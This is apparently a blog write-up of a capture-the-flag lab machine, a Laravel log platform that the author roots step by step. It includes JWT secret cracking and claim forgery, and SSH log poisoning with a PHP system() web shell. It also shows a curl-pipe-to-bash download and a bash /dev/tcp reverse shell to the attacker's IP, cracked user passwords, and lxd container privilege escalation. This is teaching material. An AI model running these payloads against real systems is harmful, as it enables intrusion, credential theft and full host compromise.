↩︎ Back to home

Hacking Club - Logs

Logs is a Linux machine that hosts a log management platform. I got foothold by exploiting a Log Poisoning after cracking a JWT secret and gained administrator privileges by modifying a token claim. I moved laterally by cracking hashes from the SQLite database. I got root abusing the lxd group privileges to mount the whole filesystem in a container.

Enum

Terminal window
vncsb@haxos$ sudo nmap -sS -sV -p- -T5 172.16.11.45
[sudo] password for vncsb:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-28 21:27 +0000
Nmap scan report for 172.16.11.45
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58
Service Info: Host: ip-172-16-11-45.ec2.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Accessing the IP on port 80 redirects to the logs.hc domain, so I added it to /etc/hosts.

Terminal window
vncsb@haxos$ curl -I http://172.16.11.45
HTTP/1.1 302 Found
Date: Wed, 28 Oct 2026 21:35:49 GMT
Server: Apache/2.4.58 (Ubuntu)
Location: http://logs.hc/
Content-Type: text/html; charset=iso-8859-1

Accessing the logs.hc domain, I landed on a “Log management platform”.

According to whatweb, wappalyzer and the application footer:

Terminal window
vncsb@haxos$ whatweb http://logs.hc
http://logs.hc [200 OK] Apache[2.4.58], Cookies[XSRF-TOKEN,logsapi-production-session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], HttpOnly[logsapi-production-session], IP[172.16.11.45], PHP[8.3.6], Script, Title[LogsAPI - Production Environment], X-Powered-By[PHP/8.3.6]

I could tell this application is served by Apache and runs Laravel on PHP.

Exploring the application, I did not find much, apparently most of the application was behind the login form and I did not find a way to register or bypass it, for now.

Because I had a domain name, I decided to brute-force for subdomains (virtual hosts, in this case) using ffuf.

Terminal window
vncsb@haxos$ ffuf -w /etc/wordlists/seclists/Discovery/DNS/namelist.txt -u 'http://logs.hc' -H "Host: FUZZ.logs.hc" -c -mc all -r -fs 7586
________________________________________________
:: Method : GET
:: URL : http://logs.hc
:: Wordlist : FUZZ: /etc/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.logs.hc
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 7586
________________________________________________
[..snipped..]
staging [Status: 200, Size: 8061, Words: 2656, Lines: 166, Duration: 674ms]
:: Progress: [151265/151265] :: Job [1/1] :: 48 req/sec :: Duration: [0:55:43] :: Errors: 0 ::

I found the staging subdomain, added it to /etc/hosts and went to staging.logs.hc.

On staging I could register and see the dashboard:

What I learned from the dashboard:

Taking a further look into the docs, it is a Swagger API documentation.

The docs describe 3 endpoints:

Shell as www-data

Account Creation

As there was no way to create an account in the production environment, I tried to register in the staging environment and use the credentials in production, and it worked! Apparently the environments share the database.

First I registered in the staging environment:

POST /register HTTP/1.1
Host: staging.logs.hc
[..snipped..]
_token=Bwd65wH8uAMiGLQDHgXQ30tuZttI9J11FmjhcSyY&name=vncsb&email=vncsb%40vncsb.com&password=vncsb123&password_confirmation=vncsb123&terms=on

Then I logged in on the production environment:

POST /login HTTP/1.1
Host: logs.hc
_token=yBZ43Eil7IcRkiURTJE1NlhzsQeoVqNgh1Uz7Gwt&email=vncsb%40vncsb.com&password=vncsb123

And I got dashboard access!

Trying the promising /api/view endpoint, I got an unauthorized response:

Terminal window
vncsb@haxos$ http://logs.hc/api/view -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIyODEwNCwiZXhwIjoxNzkzMjMxNzA0LCJuYmYiOjE3OTMyMjgxMDQsImp0aSI6IlJ0WUpsRUtBbFRDUFJaTlUiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6InZuY3NiIiwiZW1haWwiOiJ2bmNzYkB2bmNzYi5jb20ifQ.JIgW76UEWkJMjVyATnpyQyslWV8Z8Q4_8e0K_RVqeg4'
{"error":"Unauthorized - Admin access required"}

Cracking the JWT secret

The provided JWT had the following claims:

{
"email": "vncsb@vncsb.com",
"exp": 1793233573,
"iat": 1793229973,
"iss": "http://logs.hc/login",
"jti": "yarnr30u5m66hIW7",
"name": "vncsb",
"nbf": 1793229973,
"prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
"role": "user",
"sub": "3"
}

I needed to change the role claim to some other value like admin so I could use the /api/view endpoint. I tried things like changing the alg header to none and changing the role claim without signing again, neither worked. What worked was brute-forcing the secret with hashcat:

Terminal window
vncsb@haxos$ hashcat -a 0 -m 16500 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIyOTk3MywiZXhwIjoxNzkzMjMzNTczLCJuYmYiOjE3OTMyMjk5NzMsImp0aSI6Inlhcm5yMzB1NW02NmhJVzciLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6InZuY3NiIiwiZW1haWwiOiJ2bmNzYkB2bmNzYi5jb20ifQ.XbupKxRHDY0y0LMRlag7ONQtoeTxsbIC_hjype6Yon4' Downloads/rockyou.txt

The secret turned out to be 92839853879156166491915372959629, I then modified the token with jwt_tool and re-signed it with the new role value:

Terminal window
vncsb@haxos$ ./jwt_tool.py -I -pc role -pv admin -p 92839853879156166491915372959629 -S hs256 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIyOTk3MywiZXhwIjoxNzkzMjMzNTczLCJuYmYiOjE3OTMyMjk5NzMsImp0aSI6Inlhcm5yMzB1NW02NmhJVzciLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6InZuY3NiIiwiZW1haWwiOiJ2bmNzYkB2bmNzYi5jb20ifQ.XbupKxRHDY0y0LMRlag7ONQtoeTxsbIC_hjype6Yon4
/home/vncsb/.jwt_tool/jwtconf.ini
Original JWT:
jwttool_42e252ac9e9883a7ec2a2712f9860920 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIyOTk3MywiZXhwIjoxNzkzMjMzNTczLCJuYmYiOjE3OTMyMjk5NzMsImp0aSI6Inlhcm5yMzB1NW02NmhJVzciLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJ2bmNzYiIsImVtYWlsIjoidm5jc2JAdm5jc2IuY29tIn0.ER-JhCVjdAeKG6iXkC4_daDa_t6Fl3vCoNShca5RVLs

When I used the tampered token in a call to /api/view it returned the desired file, in this case /etc/passwd:

Terminal window
vncsb@haxos$ curl 'http://logs.hc/api/view?file=/etc/passwd' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIyOTk3MywiZXhwIjoxNzkzMjMzNTczLCJuYmYiOjE3OTMyMjk5NzMsImp0aSI6Inlhcm5yMzB1NW02NmhJVzciLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJ2bmNzYiIsImVtYWlsIjoidm5jc2JAdm5jc2IuY29tIn0.ER-JhCVjdAeKG6iXkC4_daDa_t6Fl3vCoNShca5RVLs'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[..snipped..]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:105::/var/snap/lxd/common/lxd:/bin/false
developer:x:1001:1001::/home/developer:/bin/bash

Log Poisoning

I got an LFI but still needed to get a shell, so I decided to use ffuf to brute-force some files and see if something interesting showed up:

Terminal window
vncsb@haxos$ ffuf -w /etc/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u 'http://logs.hc/api/view?file=FUZZ' -H "Authorization: Bearer <token>" -c
________________________________________________
:: Method : GET
:: URL : http://logs.hc/api/view?file=FUZZ
:: Wordlist : FUZZ: /etc/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
:: Header : Authorization: Bearer <token>
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[..snipped..]
/proc/stat [Status: 200, Size: 1207, Words: 489, Lines: 11, Duration: 140ms]
/proc/swaps [Status: 200, Size: 40, Words: 1, Lines: 2, Duration: 137ms]
/proc/version [Status: 200, Size: 211, Words: 23, Lines: 2, Duration: 137ms]
/proc/self/net/arp [Status: 200, Size: 234, Words: 116, Lines: 4, Duration: 137ms]
/var/log/auth.log [Status: 200, Size: 1261, Words: 91, Lines: 11, Duration: 152ms]
/var/log/dmesg [Status: 500, Size: 6609, Words: 432, Lines: 33, Duration: 152ms]
/var/log/dpkg.log [Status: 200, Size: 1, Words: 1, Lines: 1, Duration: 150ms]
[..snipped..]

The /var/log/auth.log holds all authentication logs, so I tried to login via ssh as developer to check if the attempt showed up in the log file:

[..snipped..]
2026-10-29T00:09:01.859587+00:00 ip-172-16-10-153 CRON[2222]: pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0)
2026-10-29T00:09:01.863312+00:00 ip-172-16-10-153 CRON[2222]: pam_unix(cron:session): session closed for user root
2026-10-29T00:14:48.712224+00:00 ip-172-16-10-153 sshd[2364]: Server listening on 0.0.0.0 port 22.
2026-10-29T00:14:48.712531+00:00 ip-172-16-10-153 sshd[2364]: Server listening on :: port 22.
2026-10-29T00:14:50.739534+00:00 ip-172-16-10-153 sshd[2365]: Connection closed by authenticating user developer 10.0.66.176 port 39436 [preauth]

And it did! So depending on how the files are read/included by the /api/view code, I could manipulate the SSH user to inject and execute php code in the log file.

I first tried this and got an error:

Terminal window
vncsb@haxos$ ssh '<?php phpinfo(); ?>@logs.hc'
remote username contains invalid characters

This error is generated by the ssh client itself. Recent versions of the client reject usernames with invalid characters without even connecting to the target, to circumvent this I passed an inline configuration file, using the -F flag, setting the User property to the desired payload:

Terminal window
vncsb@haxos$ ssh -F =(echo -E 'User "<?php phpinfo(); ?>"') logs.hc
<?php phpinfo(); ?>@logs.hc: Permission denied (publickey).

And then downloaded the log to an html file:

Terminal window
vncsb@haxos$ curl 'http://logs.hc/api/view?file=/var/log/auth.log' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIzNDU4MCwiZXhwIjoxNzkzMjM4MTgwLCJuYmYiOjE3OTMyMzQ1ODAsImp0aSI6IkNiQmdCQ2lKeVBSTG9MTW0iLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJ2bmNzYiIsImVtYWlsIjoidm5jc2JAdm5jc2IuY29tIn0.y_w2dlrSuf7BaWFBFTDaPHYFCxsw0h2uWCbGAvpX9Yw' > /tmp/auth.html

Checking the downloaded file, I confirmed the phpinfo() output was rendered:

Note: This was a bad way to check code execution, the phpinfo() output is too big and made it significantly harder to see if my payloads were working or not. I had to reset the machine.

I had several problems trying to get the syntax of the php payload correct, due to the approach of passing the User inline in the terminal, the quotes became a mess and I needed some trial and error to get the correct syntax. Which would have been fine if I hadn’t had to reset the machine every time I got it wrong, because the application would stop rendering everything after the first exception. This would be a nightmare in a real-life assessment!

I was only able to get it right because the shell’s quote handling would get printed to the terminal:

Terminal window
vncsb@haxos$ ssh -F =(echo -E 'User "<?php system($_GET["cmd"]);?>"') logs.hc
<?php system($_GET[cmd]);?>@logs.hc: Permission denied (publickey).
vncsb@haxos$ ssh -F =(echo -E 'User "<?php system($_GET["'"cmd"'"]);?>"') logs.hc
<?php system($_GET[cmd]);?>@logs.hc: Permission denied (publickey).
vncsb@haxos$ ssh -F =(echo -E 'User "<?php system($_GET[''cmd'']);?>"') logs.hc
<?php system($_GET[cmd]);?>@logs.hc: Permission denied (publickey).
vncsb@haxos$ ssh -F =(echo -E 'User "<?php system($_GET['"'cmd'"']);?>"') logs.hc
<?php system($_GET['cmd']);?>@logs.hc: Permission denied (publickey).

The last arrangement seemed to be right!

Note: Using another tool that does not validate the username before sending would be easier, maybe msfconsole or sending raw packets?

I reset the machine and tried again:

Terminal window
vncsb@haxos$ ssh -F =(echo -E 'User "<?php system($_GET['"'cmd'"']);?>"') logs.hc
The authenticity of host 'logs.hc (172.16.15.78)' can't be established.
ED25519 key fingerprint is: SHA256:d8/TFB5MjPKodJ5JrR7xa6QMPccizC5E2K6N6rK3Mts
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'logs.hc' (ED25519) to the list of known hosts.
<?php system($_GET['cmd']);?>@logs.hc: Permission denied (publickey).
Terminal window
vncsb@haxos$ curl 'http://logs.hc/api/view?file=/var/log/auth.log&cmd=id' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc5MzIzNzI0NCwiZXhwIjoxNzkzMjQwODQ0LCJuYmYiOjE3OTMyMzcyNDQsImp0aSI6IkdxbHJsNE8wSTlmQWkya1MiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJ2bmNzYiIsImVtYWlsIjoidm5jc2JAdm5jc2IuY29tIn0.TPOaaSAtsvzjmt26ymmagydRH3bKOM-Vm4ZZqNMk3G8'
2026-10-29T01:28:12.563556+00:00 ip-172-16-15-78 sshd[1260]: Server listening on 0.0.0.0 port 22.
2026-10-29T01:28:12.564273+00:00 ip-172-16-15-78 sshd[1260]: Server listening on :: port 22.
2026-10-29T01:28:12.992752+00:00 ip-172-16-15-78 sshd[1261]: Connection closed by 10.0.66.176 port 33680 [preauth]
2026-10-29T01:28:19.867391+00:00 ip-172-16-15-78 sshd[1263]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data)
from 10.0.66.176 port 58126
2026-10-29T01:28:19.992850+00:00 ip-172-16-15-78 sshd[1263]: Connection closed by invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data)
10.0.66.176 port 58126 [preauth]

It finally worked!

I served this bash script with python and started a nc listener:

#!/usr/bin/env bash
bash -i >& /dev/tcp/10.0.66.176/4444 0>&1
Terminal window
vncsb@haxos$ sudo python3 -m http.server 80
Terminal window
vncsb@haxos$ nc -lnv 4444

I URL-encoded the curl command to download and execute the bash script, and passed it to the cmd parameter:

Terminal window
vncsb@haxos$ curl 'http://logs.hc/api/view?file=/var/log/auth.log&cmd=curl%20http://10%2E0%2E66%2E176/rs%2Esh%20%7C%20bash' -H 'Authorization: Bearer <token>'

The file was downloaded:

Terminal window
vncsb@haxos$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.15.78 - - [29/Oct/2026 01:39:50] "GET /rs.sh HTTP/1.1" 200 -

And I got a shell!

Terminal window
vncsb@haxos$ nc -lnv 4444
Listening on 0.0.0.0 4444
Connection received on 172.16.15.78 51436
bash: cannot set terminal process group (663): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-172-16-15-78:~/prod/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-172-16-15-78:~/prod/public$ hostname
hostname
ip-172-16-15-78

Shell as developer

I found the file database.sqlite on /var/www/shared. The machine had sqlite3 available, so it was just a matter of exploring the database:

Terminal window
www-data@ip-172-16-15-78:~/shared$ sqlite3 database.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
cache job_batches password_reset_tokens
cache_locks jobs sessions
failed_jobs migrations users
sqlite> select * from users;
1|developer|developer@logs.hc||$2y$12$0CV5a.DVnbAoCefI3Y1OheHnOdy6drI7EsAhW5dw5O4dbHrTG9Opq||2025-09-12 19:16:25|2025-09-12 19:16:25|user
2|maxin|maxin@maxin.com||$2y$12$dIDG2BwHWFMKfKPv29tZbObomBWUjIfpt2dUazRnxVs2nkqlvQuS.||2025-09-15 16:52:53|2025-09-15 16:52:53|user
3|vncsb|vncsb@vncsb.com||$2y$12$NInhAuKJuH6PzQKiWznJYuG1St04PEGASphqvcf7cgrKCtfDN4Soa||2026-10-29 01:27:13|2026-10-29 01:27:13|user
sqlite>

It was possible to crack the developer and maxin users’ passwords:

developer:superman
maxin:P@ssw0rd

I used this password to switch users on the system:

Terminal window
www-data@ip-172-16-15-78:~/shared$ su developer
Password:
developer@ip-172-16-15-78:/var/www/shared$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer),105(lxd)

Shell as root

The last command already showed the path to root: the developer user is a member of the lxd group, which allows them to create, configure, and start lxc containers.

I downloaded Alpine’s lxd.tar.xz and rootfs.squashfs from canonical, served from my machine with python and downloaded to the target machine:

Terminal window
developer@ip-172-16-15-78:~$ wget http://10.0.66.176/lxd.tar.xz
--2026-10-29 02:05:07-- http://10.0.66.176/lxd.tar.xz
lxd.tar.xz 100%[====================================================================================================>] 900 --.-KB/s in 0s
2026-10-29 02:05:08 (102 MB/s) - ‘lxd.tar.xz’ saved [900/900]
developer@ip-172-16-15-78:~$ wget http://10.0.66.176/rootfs.squashfs
--2026-10-29 02:05:19-- http://10.0.66.176/rootfs.squashfs
rootfs.squashfs 100%[====================================================================================================>] 3.07M 1.74MB/s in 1.8s
2026-10-29 02:05:21 (1.74 MB/s) - ‘rootfs.squashfs’ saved [3223552/3223552]

Then imported the files and created the privileged container using lxc:

Terminal window
developer@ip-172-16-15-78:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
Image imported with fingerprint: ac06b3793bcbfe609ca165544a27b99f96e88091874e38fffd47c5eb22967c31
developer@ip-172-16-15-78:~$ lxc image list
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
| alpine | ac06b3793bcb | no | Alpinelinux 3.21 x86_64 (20261029_0053) | x86_64 | CONTAINER | 3.08MiB | Oct 29, 2026 at 2:06am (UTC) |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
developer@ip-172-16-15-78:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
developer@ip-172-16-15-78:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+

The main part of this privesc technique is to configure the privileged container to mount the whole root filesystem:

Terminal window
developer@ip-172-16-15-78:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc

Then I just needed to start the container, get a shell inside it and explore /mnt/root:

Terminal window
developer@ip-172-16-15-78:~$ lxc start privesc
developer@ip-172-16-15-78:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # ls /mnt/root/root/
root.txt snap

Rooted! :]